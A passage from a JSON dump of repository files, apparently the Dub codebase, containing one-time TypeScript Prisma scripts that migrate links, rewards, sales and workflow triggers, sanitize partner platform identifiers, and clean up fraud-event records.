programId_slug: {\n            programId: program.id,\n            slug: DEFAULT_PARTNER_GROUP.slug,\n          },\n        },\n        data: {\n          landerPublishedAt: program.landerPublishedAt,\n        },\n      });\n\n      console.log(\n        `Updated default group landerPublishedAt to ${updatedDefaultGroup.landerPublishedAt}`,\n      );\n    }\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/migrate-links-to-workspaces.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nconst DUB_PROJECT_ID = \"cl7pj5kq4006835rbjlt2ofka\";\nconst DUB_USER_ID = \"cl7p1s07k000687rbuhpwqkqa\";\n\nasync function main() {\n  const users = await prisma.link.groupBy({\n    by: [\"userId\"],\n    _count: {\n      id: true,\n    },\n    where: {\n      projectId: DUB_PROJECT_ID,\n      AND: [\n        {\n          userId: {\n            not: null,\n          },\n        },\n        {\n          userId: {\n            not: DUB_USER_ID,\n          },\n        },\n      ],\n    },\n    orderBy: {\n      _count: {\n        id: \"desc\",\n      },\n    },\n    take: 500,\n  });\n\n  //   const projectsToCreate = (await Promise.all(\n  //     users\n  //       .filter(({ userId }) => userId !== null)\n  //       .map(async (user) => {\n  //         const u = await prisma.user.findUnique({\n  //           where: {\n  //             id: user.userId!,\n  //           },\n  //           select: {\n  //             name: true,\n  //             email: true,\n  //           },\n  //         });\n  //         if (!u) {\n  //           return null;\n  //         }\n\n  //         const projectName =\n  //           capitalize(u.name ?? u.email?.split(\"@\")[0]) + \"'s Links\";\n\n  //         const projectSlug = slugify(u.email ?? \"\");\n\n  //         return {\n  //           userId: user.userId,\n  //           name: u.name,\n  //           email: u.email,\n  //           links: user._count.id,\n  //           projectName,\n  //           projectSlug,\n  //         };\n  //       }),\n  //   ).then((users) => users.filter((user) => user !== null))) as {\n  //     userId: string;\n  //     name: string | null;\n  //     email: string | null;\n  //     links: number;\n  //     projectName: string;\n  //     projectSlug: string;\n  //   }[];\n\n  //   await prisma.project.createMany({\n  //     data: projectsToCreate.map(({ projectName, projectSlug }) => ({\n  //       name: projectName,\n  //       slug: projectSlug,\n  //       billingCycleStart: new Date().getDate(),\n  //     })),\n  //     skipDuplicates: true,\n  //   });\n\n  //   const finalProjects = (await Promise.all(\n  //     projectsToCreate.map(async (user) => {\n  //       const project = await prisma.project.findUnique({\n  //         where: {\n  //           slug: user.projectSlug,\n  //         },\n  //       });\n  //       return {\n  //         ...user,\n  //         projectId: project?.id,\n  //       };\n  //     }),\n  //   )) as {\n  //     userId: string;\n  //     name: string | null;\n  //     email: string | null;\n  //     links: number;\n  //     projectId: string;\n  //     projectName: string;\n  //     projectSlug: string;\n  //   }[];\n\n  //   const projectUsers = await prisma.projectUsers.createMany({\n  //     data: finalProjects.map(({ userId, projectId }) => ({\n  //       userId,\n  //       projectId,\n  //       role: \"owner\",\n  //     })),\n  //     skipDuplicates: true,\n  //   });\n\n  //   const links = await Promise.all(\n  //     finalProjects.map(async (user) => {\n  //       return await prisma.link.updateMany({\n  //         where: {\n  //           projectId: DUB_PROJECT_ID,\n  //           userId: user.userId,\n  //         },\n  //         data: {\n  //           projectId: user.projectId,\n  //         },\n  //       });\n  //     }),\n  //   );\n\n  //   const redisHash = await redis.hset(\n  //     \"migrated_links_users\",\n  //     finalProjects.reduce((acc, { userId, projectId }) => {\n  //       acc[userId] = projectId;\n  //       return acc;\n  //     }, {} as Record<string, string>),\n  //   );\n\n  console.log({ users });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/migrate-partner-links.ts",
    "content": "// @ts-nocheck – this is a one-time migration script for\n// when we moved from programEnrollment.linkId to .links\n\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const partners = await prisma.programEnrollment.findMany({\n    where: {\n      linkId: {\n        not: null,\n      },\n    },\n    select: {\n      partnerId: true,\n      programId: true,\n      linkId: true,\n    },\n  });\n\n  for (const { partnerId, linkId } of partners) {\n    await prisma.link.update({\n      where: {\n        id: linkId!,\n      },\n      data: {\n        partnerId,\n      },\n    });\n  }\n\n  console.log(partners);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/migrate-partners-with-tenantids.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const group = await prisma.partnerGroup.findUniqueOrThrow({\n    where: {\n      id: \"grp_xxx\",\n    },\n  });\n\n  const users = await prisma.programEnrollment.updateMany({\n    where: {\n      programId: group.programId,\n      tenantId: {\n        not: null,\n      },\n      applicationId: null,\n    },\n    data: {\n      groupId: group.id,\n      saleRewardId: group.saleRewardId,\n      leadRewardId: group.leadRewardId,\n      clickRewardId: group.clickRewardId,\n      discountId: group.discountId,\n    },\n  });\n\n  console.log(users);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/migrate-reward-amounts.ts",
    "content": "// @ts-nocheck – contains old schema code\n\nimport { RewardConditions } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\n\n// One time script to migrate rewards from the old \"amount\" field to the new \"amountInCents\" and \"amountInPercentage\" fields.\nasync function main() {\n  let totalMigrated = 0;\n  const pageSize = 50;\n  while (true) {\n    const rewards = await prisma.reward.findMany({\n      where: {\n        amountInCents: null,\n        amountInPercentage: null,\n      },\n      select: {\n        id: true,\n        type: true,\n        amount: true,\n        modifiers: true,\n      },\n      take: pageSize,\n      orderBy: {\n        createdAt: \"asc\",\n      },\n    });\n\n    if (rewards.length === 0) {\n      console.log(\"No more rewards to migrate.\");\n      break;\n    }\n\n    for (const reward of rewards) {\n      const amount = reward.amount ?? 0;\n      let amountInCents: number | null = null;\n      let amountInPercentage: number | null = null;\n\n      // Migrate main amount field\n      if (reward.type === \"flat\") {\n        amountInCents = amount;\n      } else if (reward.type === \"percentage\") {\n        amountInPercentage = amount;\n      }\n\n      // Migrate modifiers\n      let updatedModifiers = reward.modifiers;\n      if (reward.modifiers && Array.isArray(reward.modifiers)) {\n        updatedModifiers = reward.modifiers.map(\n          (modifier: RewardConditions & { amount?: number }) => {\n            if (modifier.amount != null) {\n              const modifierType = modifier.type || reward.type;\n              const newModifier = { ...modifier };\n\n              if (modifierType === \"flat\") {\n                newModifier.amountInCents = modifier.amount;\n              } else if (modifierType === \"percentage\") {\n                newModifier.amountInPercentage = modifier.amount;\n              }\n\n              // Some of the old modifiers don't have a type, so we add it from the parent reward type\n              if (!newModifier.type) {\n                newModifier.type = modifierType;\n              }\n              return newModifier;\n            }\n\n            return modifier;\n          },\n        );\n      }\n\n      console.log(\n        `Migrating reward ${reward.id}: type=${reward.type} amount=${amount} -> amountInCents=${amountInCents}, amountInPercentage=${amountInPercentage}`,\n      );\n\n      await prisma.reward.update({\n        where: {\n          id: reward.id,\n        },\n        data: {\n          amountInCents,\n          amountInPercentage,\n          modifiers: updatedModifiers ?? Prisma.DbNull,\n        },\n      });\n\n      totalMigrated++;\n    }\n\n    console.log(`Migrated batch of ${rewards.length} rewards`);\n  }\n\n  console.log(`Total rewards migrated: ${totalMigrated}`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/migrate-rewards-remainder.ts",
    "content": "// @ts-nocheck – contains old schema code\n\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\n/* \n  Follow-up to scripts/migrate-rewards.ts\n  This script migrates the rewards remainder for program enrollments that don't have a reward.\n  It does so by finding the default reward for the program and assigning it to the enrollment.\n*/\nasync function main() {\n  const programEnrollmentsWithNoReward =\n    await prisma.programEnrollment.findMany({\n      where: {\n        clickRewardId: null,\n        leadRewardId: null,\n        saleRewardId: null,\n      },\n    });\n\n  console.table(programEnrollmentsWithNoReward, [\n    \"id\",\n    \"programId\",\n    \"partnerId\",\n    \"clickRewardId\",\n    \"leadRewardId\",\n    \"saleRewardId\",\n  ]);\n\n  const programDefaultRewards = await prisma.reward.findMany({\n    where: {\n      programId: {\n        in: programEnrollmentsWithNoReward.map(\n          (enrollment) => enrollment.programId,\n        ),\n      },\n      default: true,\n    },\n  });\n\n  console.table(programDefaultRewards, [\n    \"id\",\n    \"programId\",\n    \"event\",\n    \"type\",\n    \"amount\",\n  ]);\n\n  const updatedEnrollments = programEnrollmentsWithNoReward.map(\n    (enrollment) => ({\n      ...enrollment,\n      clickRewardId: programDefaultRewards.find(\n        (reward) =>\n          reward.event === \"click\" && reward.programId === enrollment.programId,\n      )?.id,\n      leadRewardId: programDefaultRewards.find(\n        (reward) =>\n          reward.event === \"lead\" && reward.programId === enrollment.programId,\n      )?.id,\n      saleRewardId: programDefaultRewards.find(\n        (reward) =>\n          reward.event === \"sale\" && reward.programId === enrollment.programId,\n      )?.id,\n    }),\n  );\n\n  console.table(updatedEnrollments, [\n    \"id\",\n    \"programId\",\n    \"partnerId\",\n    \"clickRewardId\",\n    \"leadRewardId\",\n    \"saleRewardId\",\n  ]);\n\n  await Promise.all(\n    updatedEnrollments.map((enrollment) =>\n      prisma.programEnrollment.update({\n        where: { id: enrollment.id },\n        data: {\n          clickRewardId: enrollment.clickRewardId,\n          leadRewardId: enrollment.leadRewardId,\n          saleRewardId: enrollment.saleRewardId,\n        },\n      }),\n    ),\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/migrate-rewards.ts",
    "content": "// @ts-nocheck – this is a one-time migration script for\n// when we migrate the rewards table to the new schema\n\nimport { REWARD_EVENT_COLUMN_MAPPING } from \"@/lib/zod/schemas/rewards\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\n/* \nOne time script to migrate the rewards table to the new schema.\n\n1. Migrate program-wide rewards\n2. Migrate partner-specific rewards\n\n*/\n\nasync function main() {\n  // Migrate program-wide rewards\n  const programRewards = await prisma.reward.findMany({\n    where: {\n      partners: {\n        none: {},\n      },\n    },\n    select: {\n      id: true,\n      event: true,\n      programId: true,\n    },\n  });\n\n  const finalProgramRewards = programRewards.map((reward) => {\n    return {\n      rewardId: reward.id,\n      rewardEvent: reward.event,\n      programId: reward.programId,\n    };\n  });\n\n  console.table(finalProgramRewards);\n\n  // Update the default column in the Reward table\n  const res1 = await prisma.reward.updateMany({\n    where: {\n      id: {\n        in: finalProgramRewards.map((reward) => reward.rewardId),\n      },\n    },\n    data: {\n      default: true,\n    },\n  });\n\n  console.log({ res1 });\n\n  for (const reward of finalProgramRewards) {\n    const rewardEvent = reward.rewardEvent;\n\n    const res2 = await prisma.programEnrollment.updateMany({\n      where: {\n        programId: reward.programId,\n      },\n      data: {\n        [REWARD_EVENT_COLUMN_MAPPING[rewardEvent]]: reward.rewardId,\n      },\n    });\n\n    console.log({ res2 });\n  }\n\n  // Migrate partner-specific rewards\n  const partnerRewards = await prisma.partnerReward.findMany({\n    include: {\n      reward: true,\n    },\n  });\n\n  const finalPartnerRewards = partnerRewards.map((reward) => {\n    return {\n      rewardId: reward.reward.id,\n      rewardEvent: reward.reward.event,\n      programEnrollmentId: reward.programEnrollmentId,\n    };\n  });\n\n  console.table(finalPartnerRewards);\n\n  for (const reward of finalPartnerRewards) {\n    const rewardEvent = reward.rewardEvent;\n\n    const res3 = await prisma.programEnrollment.update({\n      where: {\n        id: reward.programEnrollmentId,\n      },\n      data: {\n        [REWARD_EVENT_COLUMN_MAPPING[rewardEvent]]: reward.rewardId,\n      },\n    });\n\n    console.log({ res3 });\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/migrate-sales.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { prisma } from \"@dub/prisma\";\nimport { EventType } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  // @ts-ignore (old sales table)\n  const sales = await prisma.sale.findMany({\n    select: {\n      id: true,\n      programId: true,\n      partnerId: true,\n      linkId: true,\n      payoutId: true,\n      invoiceId: true,\n      customerId: true,\n      eventId: true,\n      amount: true,\n      earnings: true,\n      currency: true,\n      status: true,\n      createdAt: true,\n      updatedAt: true,\n    },\n    take: 1000,\n    skip: 2500,\n  });\n\n  if (!sales.length) {\n    console.log(\"No sales found.\");\n    return;\n  }\n\n  await prisma.commission.createMany({\n    data: sales.map((sale) => ({\n      ...sale,\n      id: createId({ prefix: \"cm_\" }),\n      type: EventType.sale,\n      quantity: 1,\n    })),\n    skipDuplicates: true,\n  });\n\n  console.log(`Migrated ${sales.length} sales.`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/migrate-workflow-triggers.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const workflows = await prisma.workflow.updateMany({\n    where: {\n      trigger: {\n        in: [\"leadRecorded\", \"saleRecorded\", \"commissionEarned\"],\n      },\n    },\n    data: {\n      trigger: \"partnerMetricsUpdated\",\n    },\n  });\n\n  console.log(`Updated ${workflows.count} workflows.`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/remove-duplicate-notification-emails.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\n// one time script to make sure notificationEmail entries are unique by emailId\nasync function main() {\n  const emails = await prisma.notificationEmail.groupBy({\n    by: [\"emailId\"],\n    _count: {\n      emailId: true,\n    },\n    orderBy: {\n      _count: {\n        emailId: \"desc\",\n      },\n    },\n  });\n\n  const emailsWithDuplicates = emails.filter(\n    (email) => email._count.emailId > 1,\n  );\n\n  if (emailsWithDuplicates.length === 0) {\n    console.log(\"No more duplicate emails found\");\n    return;\n  }\n\n  console.log(`Found ${emailsWithDuplicates.length} emails with duplicates`);\n\n  const emailIdsToDelete: string[] = [];\n  const notificationEmailIdsToPreserve: string[] = [];\n\n  for (const e of emailsWithDuplicates.slice(0, 100)) {\n    const finalEmail = await prisma.notificationEmail.findFirst({\n      where: {\n        emailId: e.emailId,\n      },\n      orderBy: {\n        id: \"desc\",\n      },\n    });\n    if (!finalEmail) {\n      console.log(`No final email found for ${e.emailId}`);\n      continue;\n    }\n    emailIdsToDelete.push(e.emailId);\n    notificationEmailIdsToPreserve.push(finalEmail.id);\n  }\n\n  console.log({\n    emailIdsToDelete,\n    notificationEmailIdsToPreserve,\n  });\n\n  const res = await prisma.notificationEmail.deleteMany({\n    where: {\n      emailId: {\n        in: emailIdsToDelete,\n      },\n      id: {\n        notIn: notificationEmailIdsToPreserve,\n      },\n    },\n  });\n  console.log(`Deleted ${res.count} notification emails`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/restore-group-ids.ts",
    "content": "import { includeProgramEnrollment } from \"@/lib/api/links/include-program-enrollment\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { recordLink } from \"../../lib/tinybird\";\n\n// one time script to restore group ids for banned/deactivated program enrollments\nasync function main() {\n  while (true) {\n    const programEnrollmentsToUpdate = await prisma.programEnrollment.findMany({\n      where: {\n        status: \"deactivated\",\n        groupId: null,\n      },\n      include: {\n        program: {\n          select: {\n            defaultGroupId: true,\n          },\n        },\n        commissions: {\n          take: 1,\n          orderBy: {\n            createdAt: \"desc\",\n          },\n          select: {\n            reward: {\n              select: {\n                leadPartnerGroup: {\n                  select: {\n                    id: true,\n                  },\n                },\n              },\n            },\n          },\n        },\n      },\n      take: 1000,\n    });\n\n    if (programEnrollmentsToUpdate.length === 0) {\n      break;\n    }\n\n    const toUpdate = programEnrollmentsToUpdate.map((p) => ({\n      programEnrollmentId: p.id,\n      status: p.status,\n      groupId:\n        p.commissions[0]?.reward?.leadPartnerGroup?.id ??\n        p.program.defaultGroupId!,\n    }));\n\n    // group by groupId\n    const toUpdateGrouped = toUpdate.reduce(\n      (acc, p) => {\n        acc[p.groupId] = acc[p.groupId] || [];\n        acc[p.groupId].push(p.programEnrollmentId);\n        return acc;\n      },\n      {} as Record<string, string[]>,\n    );\n\n    for (const [groupId, programEnrollmentIds] of Object.entries(\n      toUpdateGrouped,\n    )) {\n      const res = await prisma.programEnrollment.updateMany({\n        where: {\n          id: { in: programEnrollmentIds },\n        },\n        data: { groupId },\n      });\n      console.log(\n        `Updated ${res.count} program enrollments for group ${groupId}`,\n      );\n    }\n\n    const partnerLinks = await prisma.link.findMany({\n      where: {\n        programEnrollment: {\n          id: {\n            in: toUpdate.map((p) => p.programEnrollmentId),\n          },\n        },\n      },\n      include: {\n        ...includeTags,\n        ...includeProgramEnrollment,\n      },\n    });\n\n    const tbRes = await recordLink(partnerLinks);\n    console.log(\"tbRes\", tbRes);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/sanitize-partner-platform.ts",
    "content": "import { sanitizeSocialHandle, sanitizeWebsite } from \"@/lib/social-utils\";\nimport { prisma } from \"@dub/prisma\";\nimport { youtubeChannelSchema } from \"app/(ee)/api/cron/partner-platforms/youtube/youtube-channel-schema\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  while (true) {\n    const partnerPlatforms = await prisma.partnerPlatform.findMany({\n      where: {\n        type: \"website\",\n        NOT: {\n          identifier: {\n            startsWith: \"http\",\n          },\n        },\n      },\n      take: 20,\n    });\n\n    if (partnerPlatforms.length === 0) {\n      console.log(\"No website platforms to process\");\n      break;\n    }\n\n    await Promise.allSettled(\n      partnerPlatforms.map(async (partnerPlatform) => {\n        if (partnerPlatform.type === \"website\") {\n          const sanitizedIdentifier = sanitizeWebsite(\n            partnerPlatform.identifier,\n          );\n          if (!sanitizedIdentifier) {\n            if (partnerPlatform.verifiedAt) {\n              console.log(\n                `NOT DELETING VERIFIED PLATFORM ${partnerPlatform.id}: ${partnerPlatform.identifier}`,\n              );\n              return;\n            }\n            await prisma.partnerPlatform.delete({\n              where: {\n                id: partnerPlatform.id,\n              },\n            });\n            console.log(\n              `Deleted invalid platform identifier: ${partnerPlatform.identifier}`,\n            );\n            return;\n          }\n\n          await prisma.partnerPlatform.update({\n            where: { id: partnerPlatform.id },\n            data: { identifier: sanitizedIdentifier },\n          });\n          console.log(\n            `Updated website identifier: ${partnerPlatform.identifier} → ${sanitizedIdentifier}`,\n          );\n          return;\n        }\n\n        if (\n          partnerPlatform.type === \"youtube\" &&\n          partnerPlatform.identifier.includes(\"/channel/\")\n        ) {\n          const channelId = partnerPlatform.identifier.split(\"/channel/\")[1];\n          console.log(`Fetching YouTube channelId : ${channelId}`);\n          const response = await fetch(\n            `https://www.googleapis.com/youtube/v3/channels?part=statistics,snippet&id=${channelId}`,\n            {\n              headers: {\n                \"X-Goog-Api-Key\": process.env.YOUTUBE_API_KEY!,\n              },\n            },\n          );\n          if (!response.ok) {\n            console.error(\n              \"Failed to fetch YouTube channel:\",\n              await response.text(),\n            );\n            return;\n          }\n          const json = await response.json();\n          console.log(JSON.stringify(json, null, 2));\n          const data = youtubeChannelSchema.parse(json.items[0]);\n          if (!data.snippet?.customUrl) {\n            console.error(\"No custom URL found for YouTube channel:\", data);\n            return;\n          }\n          const youtubeHandle = data.snippet.customUrl.replace(\"@\", \"\");\n          console.log(\n            `Found handle for YouTube channel: ${youtubeHandle}, updating identifier...`,\n          );\n          await prisma.partnerPlatform.update({\n            where: { id: partnerPlatform.id },\n            data: { identifier: youtubeHandle },\n          });\n          return;\n        }\n\n        const sanitizedIdentifier = sanitizeSocialHandle(\n          partnerPlatform.identifier,\n          partnerPlatform.type,\n        );\n\n        if (!sanitizedIdentifier) {\n          if (partnerPlatform.verifiedAt) {\n            console.log(\n              `NOT DELETING VERIFIED PLATFORM ${partnerPlatform.id}: ${partnerPlatform.identifier}`,\n            );\n            return;\n          }\n          await prisma.partnerPlatform.delete({\n            where: {\n              id: partnerPlatform.id,\n            },\n          });\n          console.log(\n            `Deleted invalid platform identifier: ${partnerPlatform.identifier}`,\n          );\n          return;\n        }\n\n        await prisma.partnerPlatform.update({\n          where: {\n            id: partnerPlatform.id,\n          },\n          data: {\n            identifier: sanitizedIdentifier,\n          },\n        });\n        console.log(\n          `Updated ${partnerPlatform.identifier} → ${sanitizedIdentifier}`,\n        );\n      }),\n    );\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/update-discoverable-partners.ts",
    "content": "import { EXCLUDED_PROGRAM_IDS } from \"@/lib/constants/partner-profile\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const eligiblePartners = await prisma.partner.findMany({\n    where: {\n      programs: {\n        some: {\n          programId: {\n            notIn: EXCLUDED_PROGRAM_IDS,\n          },\n          status: \"approved\",\n          totalCommissions: {\n            gte: 10_00,\n          },\n        },\n        none: {\n          status: \"banned\",\n        },\n      },\n      //   AND: [\n      //     {\n      //       OR: [\n      //         {\n      //           website: {\n      //             equals: \"\",\n      //           },\n      //         },\n      //         { website: null },\n      //       ],\n      //     },\n      //     {\n      //       OR: [\n      //         {\n      //           youtube: {\n      //             equals: \"\",\n      //           },\n      //         },\n      //         { youtube: null },\n      //       ],\n      //     },\n      //     {\n      //       OR: [\n      //         {\n      //           twitter: {\n      //             equals: \"\",\n      //           },\n      //         },\n      //         { twitter: null },\n      //       ],\n      //     },\n      //     {\n      //       OR: [\n      //         {\n      //           linkedin: {\n      //             equals: \"\",\n      //           },\n      //         },\n      //         { linkedin: null },\n      //       ],\n      //     },\n      //     {\n      //       OR: [\n      //         {\n      //           instagram: {\n      //             equals: \"\",\n      //           },\n      //         },\n      //         { instagram: null },\n      //       ],\n      //     },\n      //     {\n      //       OR: [\n      //         {\n      //           tiktok: {\n      //             equals: \"\",\n      //           },\n      //         },\n      //         { tiktok: null },\n      //       ],\n      //     },\n      //   ],\n    },\n    include: {\n      programs: true,\n    },\n  });\n\n  console.table(eligiblePartners, [\"name\", \"email\"]);\n\n  const discoveredRes = await prisma.partner.updateMany({\n    where: {\n      discoverableAt: null,\n      id: {\n        in: eligiblePartners.map((partner) => partner.id),\n      },\n    },\n    data: { discoverableAt: new Date() },\n  });\n  console.log(`Updated ${discoveredRes.count} partners to be discoverable`);\n\n  const notDiscoveredRes = await prisma.partner.updateMany({\n    where: {\n      discoverableAt: {\n        not: null,\n      },\n      id: {\n        notIn: eligiblePartners.map((partner) => partner.id),\n      },\n    },\n    data: { discoverableAt: null },\n  });\n  console.log(\n    `Updated ${notDiscoveredRes.count} partners to be not discoverable`,\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/update-payout-mode-to-internal.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const result = await prisma.payout.updateMany({\n    where: {\n      status: {\n        not: \"pending\",\n      },\n    },\n    data: {\n      mode: \"internal\",\n    },\n  });\n\n  console.log(`Updated ${result.count} payouts to mode 'internal'`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/misc/cleanup-fraud-events.ts",
    "content": "import \"dotenv-flow/config\";\n\nimport { prisma } from \"@dub/prisma\";\n\nasync function main() {\n  const fraudEvents = await prisma.fraudEvent.findMany({\n    where: {\n      fraudEventGroup: {\n        type: \"customerEmailMatch\",\n        resolvedAt: null,\n      },\n      metadata: {\n        path: \"$.matchType\",\n        equals: \"historicalDomainMatch\",\n      },\n      customer: {\n        sales: {\n          gt: 1,\n        },\n      },\n    },\n    include: {\n      partner: true,\n      customer: true,\n      fraudEventGroup: {\n        select: {\n          program: true,\n        },\n      },\n    },\n    orderBy: {\n      createdAt: \"desc\",\n    },\n  });\n\n  console.table(\n    fraudEvents.map((event) => ({\n      id: event.id,\n      program: event.fraudEventGroup?.program?.name,\n      partner: event.partner?.email,\n      customer: event.customer?.email,\n      createdAt: event.createdAt,\n    })),\n  );\n\n  // Remove fraud events\n  if (fraudEvents.length > 0) {\n    const { count } = await prisma.fraudEvent.deleteMany({\n      where: {\n        id: {\n          in: fraudEvents.map((event) => event.id),\n        },\n      },\n    });\n\n    console.log(`Removed ${count} fraud events`);\n  }\n\n  // Remove fraud group if no events left\n  const fraudEventGroupsWithNoEvents = await prisma.fraudEventGroup.findMany({\n    where: {\n      fraudEvents: {\n        none: {},\n      },\n    },\n    select: {\n      id: true,\n    },\n  });\n\n  console.log(\n    `Found ${fraudEventGroupsWithNoEvents.length} with no events left.`,\n  );\n\n  if (fraudEventGroupsWithNoEvents.length > 0) {\n    const { count } = await prisma.fraudEventGroup.deleteMany({\n      where: {\n        id: {\n          in: fraudEventGroupsWithNoEvents.map((group) => group.id),\n        },\n      },\n    });\n\n    console.log(`Removed ${count} fraud event groups`);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/misc/cleanup-generic-email-fraud-events.ts",
    "content": "import \"dotenv-flow/config\";\n\nimport { isGenericEmail } from \"@/lib/is-generic-email\";\nimport { prisma } from \"@dub/prisma\";\n\nasync function main() {\n  let fraudEvents = await prisma.fraudEvent.findMany({\n    where: {\n      fraudEventGroup: {\n        type: \"customerEmailMatch\",\n        resolvedAt: null,\n      },\n      OR: [\n        {\n          metadata: {\n            path: \"$.matchType\",\n            equals: \"domainMatch\",\n          },\n        },\n        {\n          metadata: {\n            path: \"$.matchType\",\n            equals: \"historicalDomainMatch\",\n          },\n        },\n      ],\n    },\n    include: {\n      partner: true,\n      customer: true,\n      fraudEventGroup: {\n        select: {\n          program: true,\n        },\n      },\n    },\n    orderBy: {\n      createdAt: \"desc\",\n    },\n  });\n\n  // Find fraud events with generic email\n  fraudEvents = fraudEvents.filter(\n    (event) => event.customer?.email && isGenericEmail(event.customer.email),\n  );\n\n  console.table(\n    fraudEvents.map((event) => ({\n      id: event.id,\n      program: event.fraudEventGroup?.program?.name,\n      partner: event.partner?.email,\n      customer: event.customer?.email,\n      createdAt: event.createdAt,\n    })),\n  );\n\n  // Remove fraud events\n  if (fraudEvents.length > 0) {\n    const { count } = await prisma.fraudEvent.deleteMany({\n      where: {\n        id: {\n          in: fraudEvents.map((event) => event.id),\n        },\n      },\n    });\n\n    console.log(`Removed ${count} fraud events`);\n  }\n\n  // Find fraud event groups with no events left\n  const fraudEventGroupsWithNoEvents = await prisma.fraudEventGroup.findMany({\n    where: {\n      fraudEvents: {\n        none: {},\n      },\n    },\n    select: {\n      id: true,\n    },\n  });\n\n  console.log(\n    `Found ${fraudEventGroupsWithNoEvents.length} with no events left.`,\n  );\n\n  if (fraudEventGroupsWithNoEvents.length > 0) {\n    const { count } = await prisma.fraudEventGroup.deleteMany({\n      where: {\n        id: {\n          in: fraudEventGroupsWithNoEvents.map((group) => group.id),\n        },\n      },\n    });\n\n    console.log(`Removed ${count} fraud event groups`);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/misc/fraud-campaign-ids.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { getSearchParams } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const fraudEvents = await prisma.fraudEvent.findMany({\n    where: {\n      programId: \"prog_xxx\",\n      fraudEventGroup: {\n        type: \"paidTrafficDetected\",\n        status: \"pending\",\n      },\n    },\n  });\n\n  console.log(`Found ${fraudEvents.length} fraud events`);\n\n  const topCampaignIds = new Map<string, number>();\n\n  for (const event of fraudEvents) {\n    const metadata = event.metadata as { source: string; url: string };\n    const { gad_campaignid } = getSearchParams(metadata.url);\n    if (gad_campaignid) {\n      topCampaignIds.set(\n        gad_campaignid,\n        (topCampaignIds.get(gad_campaignid) || 0) + 1,\n      );\n    }\n  }\n\n  const sortedTopCampaignIds = Array.from(topCampaignIds.entries()).sort(\n    (a, b) => b[1] - a[1],\n  );\n\n  console.table(\n    sortedTopCampaignIds.map(([campaignId, count]) => ({\n      campaignId,\n      count,\n    })),\n  );\n\n  console.log(\n    `\"${sortedTopCampaignIds.map(([campaignId]) => campaignId).join('\", \"')}\"`,\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/misc/remove-fraud-events.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { getSearchParams } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nconst programId = \"prog_xxx\";\nconst excludedCampaignIds: string[] = [];\n\nasync function main() {\n  const fraudEvents = await prisma.fraudEvent.findMany({\n    where: {\n      programId,\n      fraudEventGroup: {\n        type: \"paidTrafficDetected\",\n        status: \"pending\",\n      },\n    },\n  });\n\n  console.log(`Found ${fraudEvents.length} fraud events`);\n\n  const fraudEventsToRemove = fraudEvents.filter((event) => {\n    const metadata = event.metadata as { source: string; url: string };\n    const { gad_campaignid, utm_campaign } = getSearchParams(metadata.url);\n    return (\n      (gad_campaignid && excludedCampaignIds.includes(gad_campaignid)) ||\n      (utm_campaign && excludedCampaignIds.includes(utm_campaign))\n    );\n  });\n\n  console.log(`Found ${fraudEventsToRemove.length} fraud events to remove`);\n\n  const deleted = await prisma.fraudEvent.deleteMany({\n    where: {\n      id: {\n        in: fraudEventsToRemove.map((event) => event.id),\n      },\n    },\n  });\n\n  console.log(`Removed ${deleted.count} fraud events`);\n\n  const fraudEventGroupsWithNoEvents = await prisma.fraudEventGroup.findMany({\n    where: {\n      programId,\n      type: \"paidTrafficDetected\",\n      status: \"pending\",\n      fraudEvents: {\n        none: {},\n      },\n    },\n  });\n\n  console.log(\n    `Found ${fraudEventGroupsWithNoEvents.length} fraud event groups with no events`,\n  );\n\n  const deletedGroups = await prisma.fraudEventGroup.deleteMany({\n    where: {\n      id: {\n        in: fraudEventGroupsWithNoEvents.map((group) => group.id),\n      },\n    },\n  });\n\n  console.log(`Removed ${deletedGroups.count} fraud event groups`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/misc/restore-link-analytics.ts",
